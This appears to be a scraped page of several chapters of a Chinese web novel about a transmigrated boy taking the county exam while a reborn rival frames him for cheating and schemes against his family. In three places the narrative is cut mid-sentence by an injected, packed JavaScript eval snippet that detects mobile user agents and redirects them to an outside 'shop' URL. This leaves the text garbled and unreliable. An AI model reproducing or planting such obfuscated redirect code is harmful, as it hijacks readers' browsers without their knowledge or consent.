梅老太坐在正屋炕头纳鞋底，不时往外瞟一眼，嘴里絮叨：“悠着些，当心又闪了腰。” 梅老头扬起斧头，将木柴劈成两半，好声应着，眉毛上顶着两蔟白雪，模样颇有些滑稽：“上回是追狍子闪的腰，劈柴哪能出事。” 云恩玉刚给寅哥儿喂了药，端着空碗从东屋出来。 雪花落了满脸，沁出一阵凉意。 她想起远去县城的幼子，心里挂念得紧：“这个时辰，时哥儿应该已经开始考试了吧？” 梅老头正欲接话，一个面相猥琐的男子冲到他跟前：“你家梅鹤时犯了大罪，再不去县城，怕是连最后一面都见不上了！” “你说什么？！” 梅老太手里的针线“啪嗒”落地，浑浊双目瞪得滚圆，扶着炕沿跌跌撞撞跳下来，声音抖得不成样子：“不可能！我家时哥儿向来本分懂事，绝不可能舞弊！” 云恩玉手臂骤然脱力，粗瓷碗“咣当”砸在地上，碎片四溅。 她强压慌乱，抄起扫帚，劈头盖脸往男子身上砸：“我儿品行端正，清清白白，岂是你这泼皮能随意污蔑的？再敢乱嚼舌根，我撕烂你的嘴！” 男子一把夺过扫帚，狠狠摔在地上，梗着脖子嚷嚷：“我亲眼所见，还能有假？考棚门口围了成百上千人，谁不知道梅鹤时舞弊被抓？” “县令大人亲口发话，要重罚你家时哥儿，怕是差爷待会儿就来抄家了。” 梅家众人仅存的侥幸被击得粉碎。 梅老头手里的斧头砸在积雪上，发出一声闷响。 他踉跄上前，抓住男子胳膊：“此话当真？时哥儿他......他当真被抓了？” “千真万确！”男子拍着胸脯，眼神却飘忽，“别再磨蹭了，赶紧随我进城，去晚了就来不及了。” 梅老太急得泪流不止，拽着云恩玉的胳膊就往屋里拉：“快！收拾行李进城，寅哥儿蘅姐儿也带上！便是砸锅卖铁，也要救时哥儿出来！” 云恩玉却是半信半疑。 时哥儿是她亲生，他为人如何，没人比她更清楚。 哪怕县试失利，无缘功名，他也绝不会做出这等自毁前程的蠢事。 云恩玉盯着男子，或许是他听错了，将舞弊之人错认成了时哥儿？ 但无论真相如何，她必须进城一趟，去县衙问个明白。 云恩玉转身回屋，去给孙子孙女添衣服。 公婆这副模样，必然要一同前往。 寅哥儿蘅姐儿满打满算不过四岁，此前一直在他们爹娘身边，正月里才送回来，最是离不得人。 将他俩丢在家里，她实在放心不下。 多裹几件衣服，捂严实了，应当不妨事。 就在此时，隔壁陈家的院门“吱呀”一声打开。 陈耀文他娘，徐桃花倚着门框，脸上挂着掩不住的幸灾乐祸，高耸颧骨因此显得愈发刻薄。 她故意抬高声音，阴阳怪气说道：“啧啧啧，真是看不出来，梅家那小子看着老实，却是一肚子花花肠子。” “哪像我家文哥儿，打小就踏实稳重，将来是要做大官的。” 想起临行前，文哥儿拍着胸脯保证，定能考个第一回来，徐桃花心里美滋滋。 再过几日，她便是童生娘了！ 徐桃花瞥了眼面色惨白的梅家人，抓一把花生，剥开扔嘴里：“我说时哥儿他娘，你也别太难过。路是自己选的，舞弊被抓，挨板子也是活该。” 村民们听不得这风凉话，碍于陈家蛮横，无人敢多言。 梅二婶本就欺软怕硬，一听“抄家”二字，早已吓得腿软，躲在梅老二身后，又怕又怨：“这可如何是好？我不想蹲大牢啊！” 梅老二亦慌了神，扯着梅老头的袖子哆嗦：“爹，要不咱们别管时哥儿了？万一被连累，全家都完了！” 据说大牢里老鼠成群，常以人肉为食。 他这一去，岂不是要被啃得面目全非？ “你说的是人话吗？”梅老头气得浑身发抖，扬手抽他后脑勺上，“时哥儿可是你亲侄子，你怎能说出这种混账话！” 徐桃花倚门上看得津津有味，恨不得搬个小板凳，坐着看这场好戏。 “你们莫要争吵，梅鹤时伤得不轻，若是去迟了，怕是连最后一面都......”那传话男子假惺惺叹了口气，便想趁机抽身溜走。 刚走出几步，一阵急促马蹄声由远及近，停在梅家门前。 众人循声望去，只见一名壮年男子翻身下马，黑衣红带，气度凛然，分明是衙门中人。 他抬手拂去面上雪水，高声开口：“梅鹤时家人何在？县令大人有令，特来传话！” 此言一出，哭闹声戛然而止，所有人的视线齐刷刷落在那衙役身上。 徐桃花笑脸僵住，心头咯噔一下，莫名生出一丝不安。 梅老头硬着头皮上前，躬身道：“小老儿便是时......梅鹤时的阿爷，不知差爷驾临，有何吩咐？” 衙役扫了眼围聚的村民，清了清嗓子，洪亮声音传遍整条村道。 “考生陈耀文伪造夹带，意图构陷考生梅鹤时舞弊，被县令大人当场识破。现已判杖责五十，戴枷三月示众，三年内不许参加科举！” 他目光转向梅家人，语气缓和几分：“梅小公子担心家中长辈听信流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525087|203449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言，忧心难安，特意恳请县令大人差我前来，道明实情。” “罪人乃考生陈耀文，梅小公子清白无垢，此时已在考场安心应考，诸位无需挂念。” 村民们先是一怔，随即炸开了锅。 “原来犯事的是陈家文哥儿，我就说时哥儿绝不会做那种事。” “判得好！这种一肚子坏水的东西，理应重罚！” 徐桃花面上血色褪得一干二净，尖声反驳：“不可能！我儿不可能舞弊！定是梅鹤时那小崽子使阴招，收买了差爷瞎说八道......” 可在容色肃穆的衙役面前，她的狡辩苍白又无力，四下竟无一人附和。 梅家人悬着的心落地，狂喜涌上心头。 梅老太腿一软，瘫坐在门槛上，抹着眼泪笑出声来：“太好了！老天有眼！我家时哥儿是清白的！” 云恩玉紧绷的脊背一松，悄然湿了眼眶。 她自觉失态，连忙撇过脸，拭去眼角泪珠。 梅老头更是激动得浑身发抖，转头看向徐桃花及她身后傻了眼的陈家人，眼神冷厉：“好一家子臭不要脸的，前阵子偷我家柿子，今日又来害我家时哥儿。” 梅二婶想起方才徐桃花的落井下石，又想起自己险些被抓去吃牢饭，一股火气直冲头顶。 她撸起袖子，指着徐桃花破口大骂：“你这黑心肝的婆娘，自己儿子做缺德事，还敢看我家笑话，看我不打死你个贱胚子！” 话音未落，她“嗷”地扑了上去。 徐桃花正沉浸在震惊之中，一时不备，头发被扯落大片，脸上也挨了好几巴掌。 梅老二壮起胆子，冲上去拦住想要帮忙的陈耀文他爹，握起拳头挥了上去：“你儿子害我家时哥儿，今儿个新仇旧恨一起算！” 一时间，陈家门口鸡飞狗跳，哭喊声、打骂声响成一片。 无人上前劝阻，反倒嘻嘻哈哈拍手叫好，热闹得紧。 ...... 不远处，假传消息的泼皮缩着脖子躲在树后，见此一幕，吓得魂飞魄散。 他万万没想到，县令大人竟专程派人来此。 若被衙门查出是他传谣，定没好果子吃。 正欲溜之大吉，却听得云恩玉一声喝：“差爷，此人造谣生事，跑来村里说我儿舞弊受罚，命不久矣，民妇怀疑他是受人指使！” 泼皮一扭头，与梅鹤时他娘四目相对。 不好！ 快逃！ 泼皮撒腿开溜，然而刚跑出几步，便被那衙役一脚踹在背上，重重摔进雪地里，啃了满嘴冰碴。 “差爷饶命！差爷饶命啊！” “是有人给了小人一粒碎银，吩咐小人这么说的，小人知道错了，再也不敢了！” 村民惊呼。 “还真是有人指使？” “定是陈家文哥儿！” 衙役冷冷睨了眼鼻青脸肿的陈家人，接过云恩玉递来的麻绳，缚住泼皮双手，另一端系于马后。 “嫂子且宽心，今日之事，我定如实禀告县令大人。” 云恩玉福身一礼：“多谢差爷替我儿主持公道。” 衙役摆了摆手，翻身上马，押着泼皮回城复命。 二人行至王公桥，马蹄刚踏上桥面，桥身忽然剧烈震颤。 衙役大惊，忙勒马后退。 “轰——” 一阵巨响，整座石桥轰然坍塌。 5. 005 一首《赋得花落春仍在》定稿，润色后誊至考卷，已是未初三刻。 搁笔之际，梅鹤时方觉指节肿胀得厉害，屈伸间僵滞艰难，酸痛得几乎握不成拳。 鼻间发闷堵塞，前额亦昏沉发胀，竟似风邪侵体之兆。 梅鹤时以拳抵唇，低咳两声，咽下喉头针扎般的刺痛，强打精神，将考卷从头至尾核查两遍，拉动墙角的小铃。 小吏闻声近前，目光掠过卷面，心中暗惊。 纸上楷书端方挺秀，通篇干净齐整，竟无半分涂改与墨渍。 再匆匆瞥两眼文章，只觉破题一针见血，章法沉稳老练，全然不似这般年少之人所能作出。 小吏不敢再瞧，当面将考卷糊名，连同草纸一并收去。 此举是为防止考生将草纸借与他人，亦可作为阅卷官审查文章时的凭据，以证明该考生不曾舞弊，所作文章皆为独立完成。 “你且去大门处等候，不得喧哗，否则正场成绩作废。” 梅鹤时低声应承，拎起考篮，细致捋平袍衫上的褶皱，缓步走出号房。 一路行经过道，两侧号房内的考生见他竟已交卷，无不面露惊愕。 莫非今年县试格外简单？ 怎的未时刚过，此人便已交卷离场？ 转念思及破题之艰辛，当即又否定了这一猜想。 定是自知才学不济，写不出像样的文章，索性胡乱应付，破罐破摔了。 考生仓促瞥一眼梅鹤时，眼中带着不屑与轻视，笔下愈发急切。 待他将这文章尽善尽美，他日榜上有名，再好生奚落此人不迟。 ...... 梅鹤时并未久等，约莫一炷香的工夫，便有四五十人陆续交了卷。 钱县令亲自取下朱红大门上的封印，考生们鱼贯而出。 风雪扑面，寒意逼人，众人却都如释重负，步履轻快地往客栈赶去。 无论结果如何，正场总算熬过去了。 “梅小公子！” 一道略显急促的呼声自身后传来，梅鹤时驻足回身，先前奉命前往太平村传话的那名衙役正快步朝自己走来。 “差爷。” 衙役对着梅鹤时躬身行礼，发顶、双肩积着薄雪，一身黑衣沾满泥泞，气息粗重：“亏得小公子有先见之明，让县令大人差小人去太平村传话，不然此番怕是要酿成大祸。” 梅鹤时眉心一蹙，眼底微起波澜，语气稍急：“可是梅某家人......” 衙役摇头：“小公子家人一切安好。只是小人赶至太平村时，有一受人指使的泼皮在村中造谣，说小公子舞弊被抓，哄骗您的家人进城探看。” “小人已将那泼皮拿下，稍后定从严审问，揪出背后主使，给小公子一个交代。” 忆起方才惊心动魄的一幕，衙役犹有余悸：“小人押着那泼皮返程，行至王公桥时，桥面竟在马蹄之下轰然坍塌。” “若小公子家人那时进城......”衙役以拳击掌，“后果不堪设想。” 梅鹤时眼底闪过冷芒，再抬眼，依旧是那副温雅沉静的模样。 他向衙役躬身一揖：“有劳差爷一路冒雪奔波，救下梅某家人性命，梅某感激不尽。” “至于幕后之人，自有官府处置，梅某相信县令大人定能秉公明断。” “小公子言重了，此乃小人分内之事。”衙役抱拳道，“小人尚有要事在身，先行告辞。” 梅鹤时目送衙役策马离去，拂去肩头细雪，迎着寒风往客栈而去。 那些零碎纷杂的画面中，有这样一幕—— 听闻原主舞弊入狱，梅家人进城打探，却遇上桥梁坍塌。 一家五口尽数落水，尸骨无存。 身处科举话本世界，梅鹤时仅掌握粗浅剧情走向，及原主残留的记忆。 但以他对陈耀文的了解，此人汲汲营营，心性阴狠，为谋前程不择手段。 今日算计落空，绝不会善罢甘休。 稳妥起见，他托衙役回村传话，暂且稳住梅家人。 而今看来，果然不假。 追名逐利本无可厚非，可陈耀文为一己私欲，肆意加害无辜，行径之卑劣，千刀万剐也不为过。 所幸经此一役，“梅鹤时”与梅家人的命运已彻底扭转。 若陈耀文仍不知收敛，执意与他为敌，他绝不会再姑息半分。 - 回到客栈，掌柜一眼瞧出梅鹤时身子不妥，忙让伙计端来一碗滚烫的姜茶。 “今日天寒地冻，东家特命后厨煮了些姜茶。小公子且饮一碗，回屋大被蒙头睡一觉，发身汗，定然松快许多。” 梅鹤时拱手称谢，接过青瓷碗，仰头一饮而尽。 姜茶入腹，如火燎原。 一股热流从胃中蔓延至四肢百骸，驱散些许寒意。 梅鹤时循着记忆摸回客房，褪去衣衫鞋袜，钻进被褥沉沉睡去。 再醒来，已是酉时。 麻衣被汗水洇透，黏腻腻贴在身上，极不舒坦。 却是如掌柜所言，头重脚轻之感消去大半，只喉咙仍有些干涩。 梅鹤时让伙计送来热水，简单擦洗更衣。 刚收拾妥当，敲门声响起：“时哥儿，醒了没？” 梅鹤时轻整宽袖，扬声应道：“醒了，刘兄直接推门便是。” 刘澄推门而入，仔细端详他的脸色：“我回来有一阵了，见你房门一直关着，料到你身子不适，便没敢打搅。现下感觉如何？可要我陪你去医馆瞧瞧？” “不必劳烦，喝了碗姜茶，已无大碍。”梅鹤时温声道，“刘兄可用过饭了？” 不问还好，一问这话，刘澄登时一脸菜色，大吐苦水：“我怕是出门未看黄历，竟分到一间臭号。偏巧有人腹泻，接连跑了几趟茅房，那味道......啧，实在不堪入鼻，哪还有半点胃口。” 梅鹤时忍笑：“所幸明日不考，饿一晚上也无妨。” 按科考规制，接下来三日为阅卷日。 待阅卷完毕，正场发案，合格者方能应考第二场初覆。 刘澄抚了抚胸口，压下翻涌的反胃感，与梅鹤时相对而坐：“对了时哥儿，今日那两道四书题......” 梅鹤时斟两杯热茶，二人未饮，只捧在掌心暖着，有一搭没一搭地聊着正场三道考题。 “太好了，我也想到了家国层面！”刘澄喜上眉梢，抚掌喃喃道，“但愿这次能一举中榜。” 梅鹤时淡淡一笑，并未接话。 书中，原主因舞弊入狱，与他连名互保的刘澄必然无法置身事外。 刘家贫寒，举全家之力供刘澄读书，早已是强弩之末，耗不起三年光阴。 若无意外，刘澄多半弃笔归耕，至死再未踏入科场。 可以说，陈耀文后来的权势与荣光，是踩着无数人的遗憾与鲜血铺就而成。 对完答案，刘澄心满意足离去。 虽已退热，腿脚仍有些发软，梅鹤时扶着楼梯下楼，去寻些热乎吃食。 大堂内坐满考生，正三五成群讨论考题，或捶胸顿足，懊悔落笔有误，或举杯畅饮，似是成竹在胸。 掌柜见梅鹤时，笑着招手：“小公子这边坐，后厨炖了米粥，还有刚蒸的包子。” 梅鹤时道谢，于角落空桌落座。 伙计端来一碗热粥、两个菜包，粥面飘着几粒葱花，热气袅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525088|203449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袅，白绿交融煞是悦目。 刚拿起勺子，便有数道视线落在身上，带着毫不掩饰的轻视。 余光瞥去，是邻桌坐着的几名考生。 他们认出梅鹤时是最先交卷的那何，见他不过十岁出头的模样，面色苍白，身形单薄，顿时起了嘲讽之意。 长脸考生放下酒盏，嗤笑一声：“这不是正场中第一个交卷的小娃娃吗？瞧你这脸色，怕是冻得受不住，连题都没答完便跑出来了吧？” 满脸痘痕的考生接过话头：“你这小娃娃多半连八股文的规矩都没摸透，与其糟践那五百文报名钱，不如回家种地。” 另一个方脸考生语气轻慢：“提前交卷的，十有八.九是肚子里没货，写不出几个字，遂趁早退出来，免得丢人现眼。” “三日后发榜，你怕是连红案的边都挨不着，届时可别哭鼻子。” 嘲讽声引来周遭考生侧目。 “此子瞧着也就十岁光景，能懂什么义理立意？定是家里人盼功名盼疯了，硬逼着他来。” “方才我交卷时，他早没影了，多半写了些狗屁不通的东西，不敢留在考场。” 话音入耳，梅鹤时却浑不在意，只低头吃粥，半点没有辩解的意思。 热食入腹，寒意又散去几分，只余通体舒适。 见他如此，长脸考生反倒觉得被扫了颜面，端着酒盏起身，行至梅鹤时桌前，居高临下睨着他，语气愈发刻薄。 “怎么？被我说中，哑口无言了？小小年纪，不在家跟着蒙学夫子认字，跑来考场上充数，也不怕被人笑话。” 这话已然带上刻意的刁难，掌柜见势不妙，忙上前打圆场：“几位莫要取笑小公子，他年纪小，头回下场，难免紧张。” 梅鹤时眼眸沉静，无半分愠怒，只淡然凝视那长脸考生：“县试考的是文章功底、义理深浅，与年纪何干？” 长脸考生被他看得一怔，忽略那点微不可察的心悸，冷笑连连：“你莫不是只会逞口舌之快，笔下却没半点真本事？瞧你那提前交卷的怂样，当旁人看不出你是写不出来？” “我笔下有无本事，三日后自见分晓。”梅鹤时放下勺子，轻拭唇角，“倒是几位兄台，考完试不知复盘考题，琢磨得失，反倒聚在此处，取笑梅某一介晚辈。” “莫非是自己考得不如意，只能靠嘴皮子撒气？” 周遭响起几声窃笑，长脸考生的脸瞬间涨成猪肝色。 他恼羞成怒，一个箭步上前，抬脚踹向梅鹤时的桌子：“黄口小儿也敢教训我？” 梅鹤时右手执筷，掌心抵住桌沿。 任对方如何使力，那方桌竟纹丝不动。 梅鹤时眼底掠过冷意，声色俱厉：“考场之外恃强凌弱，可见笔下无德。便是侥幸写得几篇文章，也难登大雅之堂。” 长脸考生被他噎得说不出话，见梅鹤时瘦弱却稳如泰山的模样，又留意到周遭考生异样的注目，终究没敢动真格，只狠狠啐了一口。 “好个舌灿莲花的小子，我倒要看看，三日后你能否中榜。倘若名落孙山，看你还有何脸面待在清河县！” 长脸考生说罢，狠狠一拂袖，回到自己桌前。 他那三位同伴瞪了梅鹤时几眼，悻悻然饮酒，不再多言。 大堂的喧闹逐渐平复，众人看向梅鹤时的目光，已然没了原先的轻视，反倒多了几分慎重。 这少年年纪虽小，言辞却犀利，半点不怯场，不像是个没真本事的，说不准真能一举中榜。 梅鹤时仿若未觉，不疾不徐吃着菜包。 口舌之争毫无意义，科举之路，从来都是靠笔下文章说话。 三日后的圆案，便是最好的证明。 6. 006 申时末，牢狱内烛火初燃。 刑具碰撞声震得人耳膜发紧，混着隐约哀嚎，更显森然。 那泼皮熬不过几番酷刑，涕泗横流招供：“是陈耀文，是构陷梅鹤时舞弊的那人！” “他给了小人一粒碎银，让小人去太平村传谣，务必将梅家人哄骗进城。” “小人只想混口饭吃，无意加害他人呐！” 狱卒冷笑不语，落笔如飞，待录入供词，按上泼皮染血的指印，即刻呈送县衙。 夜色渐深，牢狱愈发阴寒，霉气与血腥交织，黏腻刺鼻。 陈耀文蜷在草堆上，臀腿处杖痕累累，稍一动弹便痛不欲生。 意识昏沉间，牢门铁链“哗啦”作响。 一人提着灯笼踏入，身后两名狱卒持棍而立。 昏黄灯火将人影拉得狭长扭曲，映在斑驳墙壁上，宛若鬼魅。 狱吏居高临下，语气冷硬：“陈耀文，你收买的泼皮已尽数招供。本官问你，你为何遣人入太平村散播谣言？居心何在？” 陈耀文眉毛抖动两下，咬牙撑起身子，忍痛辩驳：“官爷明察，我、我只是记恨梅鹤时当众辱我，心中不忿，想让梅家人忧心奔走，叫他也尝尝惶惶不安的滋味，并无他意......” 话虽如此，他眼底却藏着一丝隐秘的期待。 盼着梅家如他所愿，举家进城来。 这份期待刚冒头，便被狱吏接下来的追问击得粉碎。 “并无他意？”狱吏步步紧逼，“你若只是想令梅家忧心，为何偏偏选在王公桥将塌之时，引他们入城？你是如何预知桥塌之事？还不从实招来！” 陈耀文面上流露几分恰到好处的震惊：“什么？王公桥塌了？” 随即连连摇头，急声辩解：“桥塌之事纯属巧合，我虽记恨梅鹤时，却从未想过害人性命！” 辩解之言出口，失望却如一根细刺，扎进他心里。 前世，王公桥于今日午时坍塌。 他收买那泼皮，再三叮嘱，哪怕不信梅鹤时舞弊入狱，也要另想法子，将他们哄骗进城，便是要借桥塌之祸，灭梅家满门。 谁承想，他费尽心机设下的死局，竟连半点水花都没激起。 狱吏冷嗤：“巧合？天下哪有这般恰好的巧合？” “你前脚引梅家人进城，后脚王公桥便塌了，若非蓄意谋划，怎能拿捏得这般精准？” “我没有！”陈耀文嘶声吼道，“此事与我无关！” “嘴硬无用。”狱吏懒得再同他多费口舌，将那泼皮的供词掷于他面前，“你指使此人造谣生事，意图祸及梅家满门，已是铁证如山。王公桥坍塌一事，虽无你亲手谋害之证，却有你借势害人之心。两罪并罚，罪加一等。” 他展开手中公文：“原拟戴枷三月示众，今改判枷号六月，终身不得再入科场！” 话音落下，陈耀文惊叫一声，眼前倏地一黑，彻底昏死过去。 牢门重锁，狱卒提灯远去，牢房内重归死寂。 不知过了多久，陈耀文从昏死中悠悠转醒。 他趴在潮湿黏腻的草堆上，臀腿杖伤似被钝刀反复碾磨，却抵不过心头剧痛。 终身不得再入科场...... 狱吏冰冷的宣判在耳畔反复回响，将他残存的希冀碾得粉碎。 他重活一世，本该踩着梅鹤时及一众同乡的尸骨，步步高升，成为权倾朝野的内阁首辅。 而非困在这方寸牢狱，一辈子做个抬不起头的罪人，永无出头之日。 陈耀文死死攥着身下稻草，不甘如野火，在胸腔疯狂燃烧。 他还未成为人上人，不能就这么认输。 判决已下，无转圜余地，那便另辟蹊径！ 前世为了生计，他常年挑担走乡串户，数十年间踏遍南直隶大小地界，最是熟知何处藏着稀世珍宝。 他清楚记得，县城以西百里的安灵山内，长着一株百年老山参，药性极强，乃是救命续命的珍稀灵药。 前世被一采药翁发现，卖得百两白银。 现任知府独子身患顽疾，缠绵病榻多年，寻遍名医无果，最是渴求这等珍稀药材。 他若能挖出那株人参，亲自送到知府手中，为知府公子续命，以知府的耿直秉性，必然会欠他一份天大人情。 届时，不过是恢复科举资格这点小事，知府只需一句话，向上疏通一二，钱县令又怎敢执意刁难？ 他的科举路非但不会断，反而能借这层关系，走得比原先更顺、更稳！ 思及此，陈耀文浑身血液似都沸腾起来。 剧痛依旧刺骨，心中却燃起汹涌希冀。 - 翌日晨起，风雪已停。 众考生松了口气，若再这般酷寒，铁打的身子也扛不住，怕是要病倒在考场中。 “横竖今日无考，时日充裕，何不打雪仗消遣？” “善！” 几名考生冲入雪地，捧起雪团，大喝一声“看招”，奋力掷出。 雪球正中同伴肩头，碎雪飞溅。 被击中之人不甘示弱，团起更大的雪球回敬过去。 嬉闹声阵阵，一扫连日来的压抑。 梅鹤时下楼用饭，见越来越多的考生加入其中，唇角微扬，露出一抹浅淡笑意。 虽无灵韵仙气，凡尘烟火倒也鲜活热闹。 简单用过朝食，梅鹤时与刘澄交谈几句，便折返客房。 心念微动，下一瞬便悄无声息落入万界图书馆。 梅鹤时撩袍落座，指尖轻触玉牌，取来八股范文及墨册，伏案苦学，分毫不敢怠慢。 图书馆每逢考场期间便会自动闭馆，唯有两场间隙，短短十多个时辰可用。 后续还有四场，竞争愈发激烈，须得争分夺秒，查漏补缺，方能稳操胜券。 ...... 正场已毕，考生们得以喘息片刻，考棚内却依旧灯火通明。 几位阅卷官围坐案前，面前堆着如山般的考卷，正紧锣密鼓地批阅。 “朽木不可雕也！”一位须发皆白的阅卷官将手中考卷重重拍在案上，“连四书原文都默不全，错字连篇，也敢来参加县试？真当老夫是蒙学夫子，还得逐字逐句教他不成？” 身旁的阅卷官亦是满脸不耐，揉着额角不住叹气：“四百二十份考卷，竟挑不出几份看得过眼的。这般功底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17525089|203449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也敢来求取功名，真是辱没了圣贤书！” “尤其四书题，说过多少回，破题不可只看表面。年年考，年年不长记性，真真气煞老夫！” 案上的考卷被一拨拨丢入象征“落榜”的木箱中，堂中气氛愈发沉闷。 主阅卷官钱县令高坐上首，听着四下迭起的叹息声，眉峰不自觉蹙起。 他本盼着本次县试能出几个可造之材，眼下看来，怕是要失望了。 就在此时，一位阅卷官忽而顿笔，视线落在手中考卷上，眼中不耐褪去，多出几分讶异。 他细细读了两遍，又抬手揉了揉眼睛，似是不敢置信，轻推身旁同僚：“子谦，你瞧瞧这份考卷。” 那同僚本满心烦躁，闻言不以为意，漫不经心瞥去，几行扫过，方才还紧绷的面容，竟缓缓舒展开来。 他伸手接过考卷，目光于卷间缓慢移动。 卷面清爽，字迹隽秀，仅这点便已胜过绝大多数考生。 再读内容，开篇破题便直击要害，双层立意层层递进，文辞畅达，说理透彻，将“仁之本”的深意写得入木三分。 阅卷官不禁拍案叫绝：“好一篇四书文！此子竟能看破题中机锋，绝非等闲之辈！” 这话勾起其余阅卷官的好奇，纷纷放下手中考卷，围上前来。 一人接过考卷，细读第二道题的作答：“从读书人知止明志，写到为政者知止安邦，分寸拿捏得恰到好处，既不迂腐，也不越矩，属实难得。” 另一人则翻到试帖诗题，轻声吟诵：“平仄工整，对仗精妙，这诗赋功底，苦读多年的老童生也未必能及。” 众人传看考卷，先前的烦躁早已烟消云散，个个面露喜色。 连素来沉稳的钱县令，眼中亦泛起精光。 他接过考卷，逐字逐句细阅，从破题到结语，从四书文到试帖诗，竟挑不出半分差错。 钱县令语气中满是赞许：“此人字迹沉稳，却暗藏几分纤弱，想来年岁不大。” 有人好奇：“不知这是哪家的少年才俊，竟有这般眼界见地？” 话音刚落，有人举起另一份考卷：“诸位且看这份，与方才那份相比，二者不相上下。” 众人围拢过去，只见这份考卷同样卷面整洁，字迹苍劲有力，文辞凝练，说理铿锵，试帖诗更是韵律天成，半点不输前一份。 堂中顿时起了分歧。 有人抚须赞叹：“前一份立意恢弘，格局阔大，当属最优！” 当即有人反驳：“后一份字字珠玑，文气贯通，胜前一份多矣。” 双方各执一词，吵得不可开交。 钱县令示意众人安静，说了句公道话：“两份考卷各有千秋，皆是上上之选。” 他将两份考卷并排放于案上，目光扫过一众阅卷官：“县试共五场，仅凭一场答卷，不足以定优劣。今日不必争辩，待五场考试全部结束，所有考卷阅毕，放榜之日自见分晓。” 众阅卷官闻言，虽仍有不忿，却也知晓钱县令所言有理，皆颔首称是。 堂中气氛一扫沉闷，阅卷官们再批阅考卷，虽仍旧少不了糟心之作，却因这两份惊艳的答卷，多了几分期待。 7. 007 一晃两日过去，转眼便到了阅卷的最后一日。 傍晚天色骤变，下起绵绵细雨。 湿冷雨气沿着窗缝透入，浸得人骨缝生寒。 众考生聚于大堂，个个面色沉郁，望着雨幕怔怔出神。 一考生将茶盏磕在桌上，满面烦躁：“前几日暴雪冻得人手脚发麻，如今又阴雨连绵，后日莫非要冒雨进考场？” 他身旁的中年考生鬓角已见霜白，忧心忡忡道：“寒窗苦读十数载，若折在这天气上，又要再等一年，实在耗不起啊！” 科举本就是千军万马过独木桥，容不得半分差错。 如今又添变数，让不少人打起退堂鼓。 二楼客房，梅鹤时与刘澄相对而坐，正默写《圣谕广训》。 少年拢袖执笔，背脊挺直，神情沉静专注，仿佛外界喧闹与他无关。 不多时，通篇默写完毕，梅鹤时吹了吹纸上墨迹，接过刘澄的默稿，二人互换批阅。 刘澄顺畅批阅完毕，揉了揉发酸的手腕，望着窗外春雨，幽幽叹了口气。 梅鹤时抬眼，语气带上几分无奈：“不知倒春寒何时才能结束，这般天气于科考实在不利。” 他虽有底气，却也知晓考场上变数丛生。 卷面若被雨水打湿，便是文章再好，也难入阅卷官法眼。 更遑论原主先天不足，经了正场寒苦，再被阴雨浸着，怕是要大病一场。 刘澄抬手抹了把脸，苦中作乐：“有道是春雨贵如油，这场雨下得及时，今年定是五谷丰登的好年成！” 他出身农家，庄稼有收成，家里便能多攒些钱，供他读书。 于他而言，春雨便是实实在在的盼头。 刘澄顿了顿，望向梅鹤时，眼神真诚又笃定：“不止年成好，你我的童试也定能旗开得胜。” 梅鹤时唇角微扬，将默稿递还回去，指尖点在两处：“借刘兄吉言，你这文中有两处错字，‘孝’字少了一撇，‘训’字错了偏旁，皆是心急所致。” 刘澄凑近一瞧，懊恼地拍了下额头：“多谢时哥儿提醒，我这性子就是毛躁，若是在考场上出了这等疏漏，怕是要悔青肠子。” 他取过新纸重写，一笔一划格外认真。 梅鹤时则取过算学墨册，将常考题型、算法步骤一一默记，遇易错难点便在草纸上推演。 屋内灯火如豆，笔尖沙沙，混着窗外雨声，凝成一室安然。 ...... 一夜春雨缠绵，天明仍未停歇。 卯时未至，梅鹤时的房门便被拍得砰砰响。 刘澄的声音混着雨声传进来，满是急切：“时哥儿快快起床，去晚了考棚外人挤人，连寻名字都难！” 梅鹤时披衣起身，简单梳洗后拉开房门。 刘澄手里攥着两把油纸伞，见他出来，立刻递过一把，急吼吼催促：“快些走吧，我方才下楼，见不少考生都往考棚去了，再晚怕是连照壁两旁都挤不进去。” 梅鹤时应声，二人各撑一把伞，踩着湿漉漉的青石板往考棚赶。 沿途街巷随处可见行色匆匆的考生，个个伞檐低垂，步履急促。 偶有相熟的碰面，也只是匆匆颔首，无半分闲谈心思。 不多时，二人便到了考棚外。 照壁前早已人山人海，四百余名考生尽数聚于此处，还有不少闻讯赶来凑热闹的百姓，熙攘攘挤作一团，人声鼎沸。 油纸伞挨着油纸伞，伞沿的雨水滴落在彼此肩头、后背，却无一人在意。 所有人的目光都紧盯着考棚那扇朱红大门，满心皆是期待与忐忑。 梅鹤时与刘澄挤在人群中，艰难往前挪动。 刘澄掌心沁满汗水，攥着伞柄的手指微微发颤，嘴里不住念叨：“一定要中，一定要中啊......” 他将近而立之年，已是第三次参加县试。 家中父母妻儿都盼着他能考中童生，撑起门户。 